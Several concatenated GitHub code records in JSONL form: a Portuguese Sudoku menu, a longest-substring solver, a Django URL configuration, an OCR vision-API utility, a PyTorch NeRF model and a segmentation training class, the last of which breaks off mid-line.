True:\r\n\r\n gen_sudoku = SudokuUser(9)\r\n gen_sudoku.gen_empty_sudoku()\r\n gen_sudoku.gen_random_sudoku()\r\n gen_sudoku.print_sudoku()\r\n\r\n print(\"\")\r\n print(\"Escolha uma opção:\")\r\n print(\"\")\r\n print(\"0 - Voltar para o menu\")\r\n print(\"1 - Mostrar solução\")\r\n print(\"2 - Gerar novo Sudoku\")\r\n print()\r\n \r\n print(\"Sua escolha: \", end=\"\")\r\n user_in = input()\r\n\r\n if (user_in == \"0\") or (user_in == \"1\") or (user_in == \"2\"):\r\n user_in = int(user_in)\r\n\r\n if user_in == 0:\r\n return\r\n\r\n elif user_in == 1:\r\n print(\"Passo-a-Passo:\\n\")\r\n gen_sudoku.solve_sudoku(print_steps=True)\r\n\r\n print(\"\")\r\n print(\"Solução Final:\")\r\n gen_sudoku.print_sudoku()\r\n\r\n print(\"\")\r\n print(\"Voltando para o inicio....... \")\r\n \r\n return\r\n\r\n elif user_in == 2:\r\n print(\"Novo jogo gerado:\")\r\n \r\n \r\n###########################################################################\r\n# Principal - Inicio do jogo\r\ngame = UserInterface()\r\ngame.main()","repo_name":"AnaBraz26/GRAFOS-2021-1-UNB","sub_path":"Projeto Final/sudoku_212008482.py","file_name":"sudoku_212008482.py","file_ext":"py","file_size_in_byte":14929,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"363703239","text":"\"\"\"\nGiven an integer k and a string s, find the length of the longest substring that contains at most k distinct characters.\n\nFor example, given s = \"abcba\" and k = 2, the longest substring with k distinct characters is \"bcb\".\n\"\"\"\n\nimport os\nimport sys\nimport numpy as np\n\n\ndef find_longest_substring(s, k=2):\n if k == 0:\n return \"\"\n elif k == 1:\n return s[0]\n else:\n substring = \"\" # Current substring with max k distinct chars\n longest_substr = \"\" # The longest substring so far with max k distinct chars\n chars = [] # Distinct chars in the substring\n for i, c in enumerate(s):\n if c in chars: # The character is already seen in the substring\n substring = substring + c\n else: # New character to the substring\n if len(chars) >= k: # The substring already had k distinct characters\n # Remove the character that occur farthest to the current character\n last_char = substring[-1]\n remove_char = chars[0] if last_char == chars[1] else chars[1]\n # Obtain the last position of that character\n positions = [pos for pos, char in enumerate(substring) if char == remove_char]\n last_occ = max(positions)\n # Remove the character\n substring = substring[last_occ+1:]\n chars.remove(remove_char)\n # Add the character to the substring\n substring = substring + c\n chars.append(c)\n # Replace the longest substring with the substring if substring is longer\n if len(substring) > len(longest_substr):\n longest_substr = substring\n\n print(\"Given string: {}\\t\\tk: {}\\t longest substring: {}\".format(s, k, longest_substr))\n return longest_substr\n\n\n\nif __name__ == '__main__':\n assert find_longest_substring(\"abcba\", k=2) == \"bcb\", \"Test1 Failed\"\n assert find_longest_substring(\"abcba\", k=3) == \"abcba\", \"Test2 Failed\"\n assert find_longest_substring(\"kskellrlrk\", k=2) == \"llrlr\", \"Test3 Failed\"","repo_name":"gururajraop/DailyCodingProblem","sub_path":"Hard/Day13_Substring_Kletters.py","file_name":"Day13_Substring_Kletters.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37736588835","text":"\"\"\"onlineshop URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf.urls import url\nfrom rest_framework_jwt.views import obtain_jwt_token\nfrom magictea import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('payment/', include('payment.urls', namespace='payment')),\n path('user/', include('user.urls', namespace='user')),\n path('', include('magictea.urls')),\n path('accounts/', include('django.contrib.auth.urls')),\n path('accounts/', include('allauth.urls')),\n path('registration/', include('social_django.urls', namespace=\"social\")),\n path('auth/', obtain_jwt_token),\n path('orders/', views.order_details),\n url(r'^api/orders/$', views.order_details),\n url(r'^api/orders/(?P<pk>[0-9]+)$', views.getOrder),\n path('register/', views.RegisterView.as_view(), name='auth_register'),\n]\n","repo_name":"popzyyy/8380s22tm3app-main","sub_path":"onlineshop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"29291823362","text":"import base64\nimport json\nimport math\nimport cv2\nimport numpy as np\nimport requests\nfrom PIL import Image, ExifTags\nfrom logger import *\n\n\ndef load_image(image_path):\n try:\n image = Image.open(image_path)\n orientation = None\n for orientation in ExifTags.TAGS.keys():\n if ExifTags.TAGS[orientation] == 'Orientation':\n break\n exif = dict(image._getexif().items())\n\n if exif[orientation] == 3:\n image = image.rotate(180, expand=True)\n elif exif[orientation] == 6:\n image = image.rotate(270, expand=True)\n elif exif[orientation] == 8:\n image = image.rotate(90, expand=True)\n\n cv_img = np.array(image)\n cv_img = cv_img[:, :, ::-1].copy()\n return cv_img\n except (AttributeError, KeyError, IndexError):\n cv_img = cv2.imread(image_path)\n return cv_img\n\n\ndef rect_orientation(anno):\n points = anno['boundingBox']['vertices']\n cen_x = .0\n cen_y = .0\n for i in range(4):\n if 'x' not in points[i].keys():\n points[i]['x'] = 0\n if 'y' not in points[i].keys():\n points[i]['y'] = 0\n cen_x += points[i]['x']\n cen_y += points[i]['y']\n\n cen_x /= 4\n cen_y /= 4\n\n x0 = points[0]['x']\n y0 = points[0]['y']\n\n if x0 < cen_x:\n if y0 < cen_y:\n return ORIENTATION_NORMAL\n else:\n return ORIENTATION_270_DEGREE\n else:\n if y0 < cen_y:\n return ORIENTATION_90_DEGREE\n else:\n return ORIENTATION_180_DEGREE\n\n\ndef correlate_orientation(anno, orientation, img_width, img_height):\n points = anno['boundingBox']['vertices']\n\n for i in range(4):\n point = points[i]\n if 'x' not in point.keys():\n point['x'] = 0\n if 'y' not in point.keys():\n point['y'] = 0\n\n if orientation == ORIENTATION_NORMAL:\n new_x = point['x']\n new_y = point['y']\n elif orientation == ORIENTATION_270_DEGREE:\n new_x = img_height - point['y']\n new_y = point['x']\n elif orientation == ORIENTATION_90_DEGREE:\n new_x = point['y']\n new_y = img_width - point['x']\n elif orientation == ORIENTATION_180_DEGREE:\n new_x = img_width - point['x']\n new_y = img_height - point['y']\n\n points[i]['x'] = new_x\n points[i]['y'] = new_y\n\n\ndef make_request(cv_img, feature_types):\n request_list = []\n\n # Read the image and convert to the base string to send as json\n h, w = cv_img.shape[:2]\n gray = cv2.cvtColor(cv_img, cv2.COLOR_BGR2GRAY)\n _ratio = math.sqrt(float(MAXIMUM_SIZE) / float(h * w))\n\n gray = cv2.resize(gray, (int(w * _ratio), int(h * _ratio)))\n resz_img = cv2.resize(cv_img, (int(w * _ratio), int(h * _ratio)))\n _quality = 100\n\n content_obj = {'content': base64.b64encode(\n cv2.imencode('.jpg', gray, [cv2.IMWRITE_JPEG_QUALITY, _quality])[1].tostring()).decode('UTF-8')}\n\n feature_obj = []\n for feature_type in feature_types:\n feature_obj.append({'type': feature_type})\n\n context_obj = {\"languageHints\": ['en']}\n\n request_list.append(\n {'image': content_obj,\n 'features': feature_obj,\n 'imageContext': context_obj\n }\n )\n return json.dumps({'requests': request_list}).encode(), resz_img\n\n\nclass VisionUtils:\n def __init__(self, show_result=True):\n self.endpoint_url = ENDPOINT_URL\n self.api_key = API_KEY\n self.show_result = show_result\n\n def __get_response(self, json_data):\n try:\n response = requests.post(\n url=self.endpoint_url,\n data=json_data,\n params={'key': self.api_key},\n headers={'Content-Type': 'application/json'})\n\n # print(response)\n ret_json = json.loads(response.text)\n return ret_json['responses'][0]\n\n except Exception as e:\n log_print(\"\\t\\texcept: {}\".format(e))\n return None\n \n def __get_orientation(self, annos):\n oris = [0, 0, 0, 0]\n for anno in annos:\n ori = rect_orientation(anno=anno)\n oris[ori] += 1\n if self.show_result:\n log_print(\" {}\".format(oris))\n return oris.index(max(oris))\n\n def detect_text(self, path, idx, proc_queue):\n try:\n img = load_image(path)\n requests, resz_img = make_request(cv_img=img, feature_types=['DOCUMENT_TEXT_DETECTION', 'TEXT_DETECTION',\n 'LABEL_DETECTION'])\n response = self.__get_response(requests)\n img = resz_img\n\n if response is None:\n result = None\n else:\n _flag = False\n for i in range(5):\n if response['labelAnnotations'][i]['description'] != 'text':\n _flag = True\n break\n\n if not _flag:\n ret_label = response['labelAnnotations'][0]\n result = {'id': idx,\n 'annotations': None,\n 'label': ret_label,\n 'orientation': None,\n 'image': img}\n log_print(\"\\t Not proper Invoice Document{}\".format(ret_label))\n else:\n annos = []\n document = response['fullTextAnnotation']\n for page in document['pages']:\n for block in page['blocks']:\n for paragraph in block['paragraphs']:\n for word in paragraph['words']:\n text = \"\"\n for symbol in word['symbols']:\n text += symbol['text']\n\n if type(text) is not str:\n text = text.encode(\"utf-8\")\n\n anno = {\n 'boundingBox': word['boundingBox'],\n 'text': text\n }\n annos.append(anno)\n\n # recognize the orientation \n ori = self.__get_orientation(annos=annos)\n \n height, width = img.shape[:2]\n if ori != ORIENTATION_NORMAL:\n img = cv2.rotate(img, rotateCode=ori)\n for anno in annos:\n correlate_orientation(anno=anno, orientation=ori, img_width=width, img_height=height)\n if self.show_result: # display the line rect\n pt0 = anno['boundingBox']['vertices'][0]\n pt1 = anno['boundingBox']['vertices'][2]\n cv2.line(img, (pt0['x'], pt0['y']), (pt1['x'], pt1['y']), (0, 255, 0), 1)\n\n result = {'id': idx,\n 'annotations': annos,\n 'label': 'text',\n 'orientation': ori,\n 'image': img}\n\n proc_queue.put(result, True, 1)\n except Exception as e:\n log_print(\"\\t exception :\" + str(e))\n pass\n","repo_name":"icebox365/RE-OCR","sub_path":"utils/vision_utils.py","file_name":"vision_utils.py","file_ext":"py","file_size_in_byte":7513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30439813069","text":"'''\n包含NeRF网络的定义\n相关函数:\n+ create_nerf\n+ run_network\n+ batchify\n'''\nimport os, sys\nimport torch\n# torch.autograd.set_detect_anomaly(True)\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\nfrom embedder import get_embedder\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n#Model\n#这里对着原版的自己敲敲好啦,熟悉一下网络结构\nclass NeRF(nn.Module):\n def __init__(self,D=8,W=256,input_ch=3,input_ch_views=3,output_ch=4,skips=[4],use_viewdirs=False):\n super(NeRF,self).__init__()\n #init\n self.D = D\n self.W = W\n self.input_ch = input_ch\n self.input_ch_views = input_ch_views\n self.skips = skips\n self.use_viewdirs = use_viewdirs\n\n self.pts_linears = nn.ModuleList(\n [nn.Linear(input_ch, W)] + [nn.Linear(W, W) if i not in self.skips else nn.Linear(W + input_ch, W) for i in range(D-1)])\n \n ### Implementation according to the official code release (https://github.com/bmild/nerf/blob/master/run_nerf_helpers.py#L104-L105)\n self.views_linears = nn.ModuleList([nn.Linear(input_ch_views + W, W//2)])\n\n if use_viewdirs:\n self.feature_linear = nn.Linear(W, W)\n self.alpha_linear = nn.Linear(W, 1)\n self.rgb_linear = nn.Linear(W//2, 3)\n else:\n self.output_linear = nn.Linear(W, output_ch)\n \n def forward(self,x):\n input_pts, input_views = torch.split(x, [self.input_ch, self.input_ch_views], dim=-1)\n h = input_pts\n for i, l in enumerate(self.pts_linears):\n h = self.pts_linears[i](h)\n h = F.relu(h)\n if i in self.skips:\n h = torch.cat([input_pts, h], -1)\n\n if self.use_viewdirs:\n alpha = self.alpha_linear(h)\n feature = self.feature_linear(h)\n h = torch.cat([feature, input_views], -1)\n \n for i, l in enumerate(self.views_linears):\n h = self.views_linears[i](h)\n h = F.relu(h)\n\n rgb = self.rgb_linear(h)\n outputs = torch.cat([rgb, alpha], -1)\n else:\n outputs = self.output_linear(h)\n\n return outputs\n\n def load_weights_from_keras(self,weights):\n assert self.use_viewdirs, \"Not implemented if use_viewdirs=False\"\n \n # Load pts_linears\n for i in range(self.D):\n idx_pts_linears = 2 * i\n self.pts_linears[i].weight.data = torch.from_numpy(np.transpose(weights[idx_pts_linears])) \n self.pts_linears[i].bias.data = torch.from_numpy(np.transpose(weights[idx_pts_linears+1]))\n \n # Load feature_linear\n idx_feature_linear = 2 * self.D\n self.feature_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_feature_linear]))\n self.feature_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_feature_linear+1]))\n\n # Load views_linears\n idx_views_linears = 2 * self.D + 2\n self.views_linears[0].weight.data = torch.from_numpy(np.transpose(weights[idx_views_linears]))\n self.views_linears[0].bias.data = torch.from_numpy(np.transpose(weights[idx_views_linears+1]))\n\n # Load rgb_linear\n idx_rbg_linear = 2 * self.D + 4\n self.rgb_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear]))\n self.rgb_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_rbg_linear+1]))\n\n # Load alpha_linear\n idx_alpha_linear = 2 * self.D + 6\n self.alpha_linear.weight.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear]))\n self.alpha_linear.bias.data = torch.from_numpy(np.transpose(weights[idx_alpha_linear+1]))\n\ndef batchify(fn, chunk):\n \"\"\"Constructs a version of 'fn' that applies to smaller batches.\n \"\"\"\n if chunk is None:\n return fn\n def ret(inputs):\n return torch.cat([fn(inputs[i:i+chunk]) for i in range(0, inputs.shape[0], chunk)], 0)\n return ret\n\n#准备输入并应用给网络\ndef run_network(inputs, viewdirs, fn, embed_fn, embeddirs_fn, netchunk=1024*64):\n \"\"\"Prepares inputs and applies network 'fn'.\n \"\"\"\n inputs_flat = torch.reshape(inputs, [-1, inputs.shape[-1]])\n embedded = embed_fn(inputs_flat)\n\n if viewdirs is not None:\n #说明需要结合视角\n input_dirs = viewdirs[:,None].expand(inputs.shape)\n input_dirs_flat = torch.reshape(input_dirs, [-1, input_dirs.shape[-1]])\n embedded_dirs = embeddirs_fn(input_dirs_flat) #对输入的方向进行编码\n embedded = torch.cat([embedded, embedded_dirs], -1)\n\n #将编码过的点分批传入网络中\n outputs_flat = batchify(fn, netchunk)(embedded)\n outputs = torch.reshape(outputs_flat, list(inputs.shape[:-1]) + [outputs_flat.shape[-1]])\n return outputs\n\n#创建nerf网络,返回渲染的一些参数\ndef create_nerf(args):\n \"\"\"Instantiate NeRF's MLP model.\n \"\"\"\n '''\n get_embedder获取位置编码,将数据升维后输入网络,提高对细节的展示\n '''\n #对3D位置坐标编码\n embed_fn, input_ch = get_embedder(args.multires, args.i_embed)\n\n input_ch_views = 0\n embeddirs_fn = None\n if args.use_viewdirs:\n #对视角2D坐标编码\n embeddirs_fn, input_ch_views = get_embedder(args.multires_views, args.i_embed)\n output_ch = 5 if args.N_importance > 0 else 4\n skips = [4]\n #构造一个NeRF,输出为RGBA\n #use_viewdirs表示使用视角信息(即使用5D而非3D坐标)\n model = NeRF(D=args.netdepth, W=args.netwidth,\n input_ch=input_ch, output_ch=output_ch, skips=skips,\n input_ch_views=input_ch_views, use_viewdirs=args.use_viewdirs).to(device)\n #模型中的梯度变量\n grad_vars = list(model.parameters())\n\n model_fine = None\n if args.N_importance > 0:\n model_fine = NeRF(D=args.netdepth_fine, W=args.netwidth_fine,\n input_ch=input_ch, output_ch=output_ch, skips=skips,\n input_ch_views=input_ch_views, use_viewdirs=args.use_viewdirs).to(device)\n grad_vars += list(model_fine.parameters())\n\n network_query_fn = lambda inputs, viewdirs, network_fn : run_network(inputs, viewdirs, network_fn,\n embed_fn=embed_fn,\n embeddirs_fn=embeddirs_fn,\n netchunk=args.netchunk)\n \n #创建优化器\n optimizer = torch.optim.Adam(params=grad_vars, lr=args.lrate, betas=(0.9, 0.999))\n\n start = 0\n basedir = args.basedir\n expname = args.expname\n\n ##########################\n #加载checkpoints\n # Load checkpoints\n if args.ft_path is not None and args.ft_path!='None':\n ckpts = [args.ft_path]\n else:\n ckpts = [os.path.join(basedir, expname, f) for f in sorted(os.listdir(os.path.join(basedir, expname))) if 'tar' in f]\n\n print('Found ckpts', ckpts)\n if len(ckpts) > 0 and not args.no_reload:\n ckpt_path = ckpts[-1]\n print('Reloading from', ckpt_path)\n ckpt = torch.load(ckpt_path)\n\n start = ckpt['global_step']\n optimizer.load_state_dict(ckpt['optimizer_state_dict'])\n\n # Load model\n model.load_state_dict(ckpt['network_fn_state_dict'])\n if model_fine is not None:\n model_fine.load_state_dict(ckpt['network_fine_state_dict'])\n\n ##########################\n #初始化渲染的一些参数\n render_kwargs_train = {\n 'network_query_fn' : network_query_fn,\n 'perturb' : args.perturb, #抖动\n 'N_importance' : args.N_importance, #每条光线的细采样点数目\n 'network_fine' : model_fine, #精细网络\n 'N_samples' : args.N_samples, #粗采样点数目\n 'network_fn' : model, #粗网络\n 'use_viewdirs' : args.use_viewdirs,\n 'white_bkgd' : args.white_bkgd, #为True则透明部分变成白色\n 'raw_noise_std' : args.raw_noise_std, #对输出加上方差\n }\n\n # NDC only good for LLFF-style forward facing data\n if args.dataset_type != 'llff' or args.no_ndc:\n print('Not ndc!')\n render_kwargs_train['ndc'] = False\n render_kwargs_train['lindisp'] = args.lindisp\n\n render_kwargs_test = {k : render_kwargs_train[k] for k in render_kwargs_train}\n render_kwargs_test['perturb'] = False\n render_kwargs_test['raw_noise_std'] = 0.\n\n return render_kwargs_train, render_kwargs_test, start, grad_vars, optimizer","repo_name":"QiruiH/my_NeRF","sub_path":"nerf.py","file_name":"nerf.py","file_ext":"py","file_size_in_byte":8626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"41981672399","text":"import torch\nfrom torch import optim\nimport segmentation_models_pytorch as smp\nimport os\nfrom tqdm import tqdm\nfrom torch.utils.data import DataLoader, Dataset\nfrom segmentation_models_pytorch.metrics import *\nfrom segmentation_models_pytorch.losses import *\nfrom statistics import fmean\nimport torch.nn.functional as F\nimport pandas as pd\nimport numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\nfrom matplotlib.colors import ListedColormap\nfrom pathlib import Path\nimport re\nfrom torch.utils.tensorboard import SummaryWriter\n\n# determine the appropriate trainer to use\ndef get_trainer(config, dataset, model):\n schema = config.training.schema.lower()\n \n if schema in ['fully supervised', 'fs', 'fully', 'supervised', 'f']:\n return FullySupervisedTrainer(config, dataset, model)\n\n# for loading dicts of numpy images\nclass ImageDictLoader(Dataset):\n def __init__(self, dataset, config, mode='train'):\n super().__init__()\n \n self.dataset = dataset\n # dataset is in batch, h, w, c format\n # manipulate to batch, c, h, w format\n for key in self.dataset.keys():\n self.dataset[key] = np.moveaxis(self.dataset[key], -1, 1)\n # print(f'[DATA] {key} shape: {self.dataset[key].shape}')\n \n def __getitem__(self, index):\n \n # NO PREPROCESSING FOR NOW\n # TODO add preprocessing\n # memory pinning?\n input = self.dataset['input'][index]\n target = self.dataset['target'][index]\n \n return input, target\n \n def __len__(self):\n return len(self.dataset['input'])\n\nclass BaseTrainer(object):\n def __init__(self):\n super().__init__()\n pass \n # will flesh out later\n \nclass FullySupervisedTrainer(BaseTrainer):\n def __init__(self, config, dataset, model):\n super().__init__()\n \n self.config = config\n self.device = config.device\n print(f'[TRAIN] Using device: {self.device}')\n self.dataset = dataset\n self.model = model.double()\n self.model_name = f'{config.experiment_name}_{config.model.model_arch}_{config.model.model_encoder}'\n \n self.num_epochs = config.training.epochs\n self.batch_size = config.training.batch_size\n self.accumulate_grads = config.training.accumulate_grads\n self.save_best_model = config.training.save_best_model\n self.save_every_model = config.training.save_every_model\n self.num_classes = config.model.classes\n \n self.out_path = config.out_path\n self.model_path = os.path.join(config.out_path, 'models')\n if not os.path.exists(self.model_path): os.mkdir(self.model_path)\n self.test_images_path = os.path.join(config.out_path, 'test_images')\n if not os.path.exists(self.test_images_path): os.mkdir(self.test_images_path)\n self.plot_paths = os.path.join(config.out_path, 'plots')\n if not os.path.exists(self.plot_paths): os.mkdir(self.plot_paths)\n self.error_viz_path = os.path.join(config.out_path, 'error_viz')\n if not os.path.exists(self.error_viz_path): os.mkdir(self.error_viz_path)\n self.save_all_test_data = config.evaluation.save_all_test_data\n \n # configure optimizer\n optimizer_name = config.training.optimizer.lower()\n if optimizer_name in ['adam', 'a'] or config.training.optimizer is None:\n self.optimizer = optim.Adam(\n params=self.model.parameters(),\n lr=config.training.lr,\n betas=(config.training.beta1, config.training.beta2),\n eps=config.training.eps,\n )\n else:\n raise NotImplementedError(f'[TRAIN] Optimizer {config.training.optimizer} not implemented.')\n \n # configure loss\n loss_name = config.training.loss.lower()\n if loss_name in ['crossentropy', 'ce', 'cross', 'entropy', 'c']:\n self.loss = torch.nn.CrossEntropyLoss()\n elif loss_name in ['focal', 'focalloss', 'focal loss']:\n self.loss = FocalLoss(\n mode='multiclass' if self.num_classes > 1 else 'binary',\n )\n else:\n raise NotImplementedError(f'[TRAIN] Loss {config.training.loss} not implemented.')\n \n self.metric_fns = [f1_score, iou_score, accuracy, precision, recall]\n self.history = self.init_history()\n self.epoch = 1\n self.early_stopping_patience = config.training.early_stopping_patience\n self.early_stopping_min_delta = config.training.early_stopping_min_delta\n self.metrics_reduction = config.evaluation.metrics_reduction\n \n self.config.training.return_best_model = config.training.return_best_model\n self.config.evaluation.use_best_model = config.evaluation.use_best_model\n self.config.evaluation.use_model_path = config.evaluation.use_model_path\n \n self.train_loader = DataLoader(dataset=ImageDictLoader(dataset['train'], config), batch_size=self.batch_size, shuffle=True, num_workers=2, pin_memory=True)\n self.val_loader = DataLoader(dataset=ImageDictLoader(dataset['val'], config), batch_size=self.batch_size, shuffle=True, num_workers=2, pin_memory=True)\n self.test_loader = DataLoader(dataset=ImageDictLoader(dataset['test'], config), batch_size=1, shuffle=False, num_workers=2, pin_memory=True)\n\n def train_step(self):\n self.model.train()\n \n epoch_loss = 0.\n self.init_batch_metrics()\n \n # simple progress bar implementation\n # https://adamoudad.github.io/posts/progress_bar_with_tqdm/\n with tqdm(self.train_loader, unit='batch') as tepoch:\n for i, (X, y_true) in enumerate(tepoch):\n tepoch.set_description(f'Epoch {self.epoch}/{self.num_epochs} Training')\n\n # y_true : Ground Truth\n X = X.to(self.device).double()\n y_true = y_true.to(self.device)\n\n # y_pred : Segmentation Result\n y_pred = self.model(X)\n\n loss = self.loss(y_pred, y_true)\n epoch_loss += loss.item()\n\n # Backprop + optimize\n self.model.zero_grad()\n loss.backward()\n self.optimizer.step()\n \n self.update_batch_metrics(y_pred, y_true)\n tepoch.set_postfix(loss=loss.item())\n \n # if i > 2: break\n \n epoch_loss /= len(self.train_loader)\n self.update_history(epoch_loss, phase='train')\n self.print_batch_metrics()\n\n return epoch_loss\n\n @torch.no_grad()\n def val_step(self):\n self.model.eval()\n \n self.init_batch_metrics()\n epoch_val_loss = 0.\n\n # simple progress bar implementation\n # https://adamoudad.github.io/posts/progress_bar_with_tqdm/\n with tqdm(self.val_loader, unit='batch') as tepoch:\n for i, (X, y_true) in enumerate(tepoch):\n tepoch.set_description(f'Epoch {self.epoch}/{self.num_epochs} Validation')\n\n # y_true : Ground Truth\n X = X.to(self.device)\n y_true = y_true.to(self.device)\n\n # y_pred : Segmentation Result\n y_pred = self.model(X)\n\n loss = self.loss(y_pred, y_true)\n epoch_val_loss += loss.item()\n \n self.update_batch_metrics(y_pred, y_true)\n\n tepoch.set_postfix(val_loss=loss.item())\n \n # if i > 2: break\n epoch_val_loss /= len(self.val_loader)\n self.update_history(epoch_val_loss, phase='val')\n self.print_batch_metrics()\n\n return epoch_val_loss\n\n # TODO : implement test_step\n @torch.no_grad()\n def test_step(self):\n \n print('[TRAIN] Running inference on test images')\n \n error_cmap = ListedColormap(['black', 'red'])\n # TODO REMOVE THIS\n # https://gist.github.com/jgomezdans/402500?permalink_comment_id=2264839#gistcomment-2264839\n # seg_cmap = ListedColormap(['darkgreen', 'lawngreen', 'saddlebrown', 'dodgerblue', 'yellow', 'lightgray', 'dimgray', 'purple'])\n vals = np.linspace(0,1,256)\n np.random.shuffle(vals)\n seg_cmap = ListedColormap(plt.cm.jet(vals))\n \n self.model.eval()\n\n self.init_batch_metrics()\n \n with tqdm(self.test_loader, unit='batch') as tepoch:\n for i, (X, y_true) in enumerate(tepoch):\n \n X = X.to(self.device)\n y_true = y_true.to(self.device)\n y_pred = F.sigmoid(self.model(X))\n\n self.update_batch_metrics(y_pred, y_true)\n \n y_pred = y_pred.argmax(dim=1)\n \n if self.save_all_test_data:\n # visualize errors\n for j in range(len(X)): \n if len(X) == 1:\n image_id = f'{i:04d}'\n else:\n image_id = f'{i:04d}_{j:04d}'\n \n # save images, masks, and predictions\n image = X[j].cpu().numpy().transpose(2, 1, 0)\n image = (image * 255).astype(np.uint8)\n # image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n # print(image.shape, image.min(), image.max())\n cv2.imwrite(os.path.join(self.test_images_path, f'{image_id}_input.png'), image)\n \n \n target = y_true[j].cpu().numpy().astype(np.uint8)\n # print(target.shape, target.min(), target.max())\n cv2.imwrite(os.path.join(self.test_images_path, f'{image_id}_target.png'), target)\n \n pred = y_pred[j].cpu().numpy().astype(np.uint8)\n # print(pred.shape, pred.min(), pred.max())\n cv2.imwrite(os.path.join(self.test_images_path, f'{image_id}_pred.png'), target)\n \n error = target != pred\n cv2.imwrite(os.path.join(self.test_images_path, f'{image_id}_error.png'), target)\n \n # save error visualizations\n fig, ax = plt.subplots(1, 5)\n ax = ax.ravel()\n ax[0].imshow(image, interpolation='none')\n ax[0].set_xticks([])\n ax[0].set_yticks([])\n ax[0].set(xlabel='Optical Data')\n ax[1].imshow(target, cmap=seg_cmap, interpolation='none')\n ax[1].set(xlabel='Ground Truth')\n ax[1].set_xticks([])\n ax[1].set_yticks([])\n ax[2].imshow(pred, cmap=seg_cmap, interpolation='none')\n ax[2].set(xlabel='Predicted Mask')\n ax[2].set_xticks([])\n ax[2].set_yticks([])\n ax[3].imshow(error, cmap=error_cmap, interpolation='none')\n ax[3].set(xlabel='Error')\n ax[3].set_xticks([])\n ax[3].set_yticks([])\n ax[4].imshow(image, interpolation='none')\n ax[4].imshow(error, cmap=error_cmap, alpha=error.astype(float), interpolation='none')\n ax[4].set(xlabel='Error Overlay')\n ax[4].set_xticks([])\n ax[4].set_yticks([])\n \n fig.tight_layout()\n plt.style.use('ggplot')\n plt.suptitle(f'{self.model_name}\\n{image_id}')\n plt.savefig(os.path.join(self.error_viz_path, f'{image_id}.png'), dpi=300)\n plt.close()\n\n tepoch.set_postfix(mIoU = fmean(self.batch_metrics['iou_score']))\n \n metrics = {}\n self.print_batch_metrics()\n for metric, value in self.batch_metrics.items():\n metrics[metric] = fmean(value)\n metrics_series = pd.Series(metrics)\n metrics_series.to_csv(os.path.join(self.out_path,'metrics.csv'))\n \n return metrics\n \n def init_history(self, reduction='micro'):\n phases = ['train', 'val']\n history = {}\n history['epoch'] = []\n for phase in phases:\n history[f'{phase}_loss'] = []\n for metric_fn in self.metric_fns:\n history[f'{phase}_{metric_fn.__name__}'] = []\n return history\n \n def update_history(self, loss, phase):\n if phase == 'train':\n self.history['epoch'].append(self.epoch) # dirty hack\n for metric_fn in self.metric_fns:\n self.history[f'{phase}_{metric_fn.__name__}'].append(fmean(self.batch_metrics[metric_fn.__name__]))\n self.history[f'{phase}_loss'].append(loss)\n \n def init_batch_metrics(self):\n batch_metrics = {}\n for metric_fn in self.metric_fns:\n batch_metrics[metric_fn.__name__] = []\n self.batch_metrics = batch_metrics\n \n def update_batch_metrics(self, y_pred, y_true):\n tp, fp, fn, tn = get_stats(\n output=y_pred.argmax(dim=1) if self.num_classes > 1 else y_pred, # might not work with binary segmentation\n target=y_true,\n mode='multiclass' if self.num_classes > 1 else 'binary',\n num_classes=self.num_classes,\n )\n for metric_fn in self.metric_fns:\n value = metric_fn(tp, fp, fn, tn, reduction=self.metrics_reduction)\n self.batch_metrics[metric_fn.__name__].append(float(value))\n \n def print_batch_metrics(self):\n for metric, value in self.batch_metrics.items():\n print(f'{metric}: {fmean(value):.4f}', end=' | ')\n print()\n \n def save_history(self):\n # print(self.history)\n df = pd.DataFrame(self.history)\n df.to_csv(os.path.join(self.out_path,'history.csv'), index=False)\n \n def load_history(self):\n history = pd.read_csv(os.path.join(self.out_path,'history.csv'))\n self.history = history.to_dict(orient='list')\n print(self.history)\n \n def plot_curves(self):\n pass\n \n def train(self):\n try:\n use_tb = self.config.training.tensorboard\n \n if use_tb: writer = SummaryWriter()\n \n self.epoch = 0\n if self.config.training.load_from_checkpoint:\n # quick way to find best epoch model\n models = list(Path(self.model_path).glob('best_model*.pth'))\n last_epoch = 0\n for model in models:\n epoch = int(re.findall(r'(?<=best_model_epoch_)\\d+', str(model))[0])\n if epoch > last_epoch: \n last_model = model\n last_epoch = epoch\n self.model.load_state_dict(torch.load(last_model))\n self.load_history()\n self.epoch = last_epoch\n print(f'[TRAIN] Loaded last model at epoch {last_epoch}')\n \n self.model.to(self.device)\n \n best_loss, best_epoch = np.inf, 0\n early_stopper = EarlyStopper(patience=self.early_stopping_patience, min_delta=self.early_stopping_min_delta)\n \n while self.epoch < self.num_epochs:\n self.epoch += 1\n _ = self.train_step()\n val_loss = self.val_step()\n if self.save_every_model:\n # save model\n torch.save(self.model.state_dict(), os.path.join(self.model_path, f'epoch_{self.epoch}_val_loss_{val_loss}.pth'))\n if self.save_best_model and 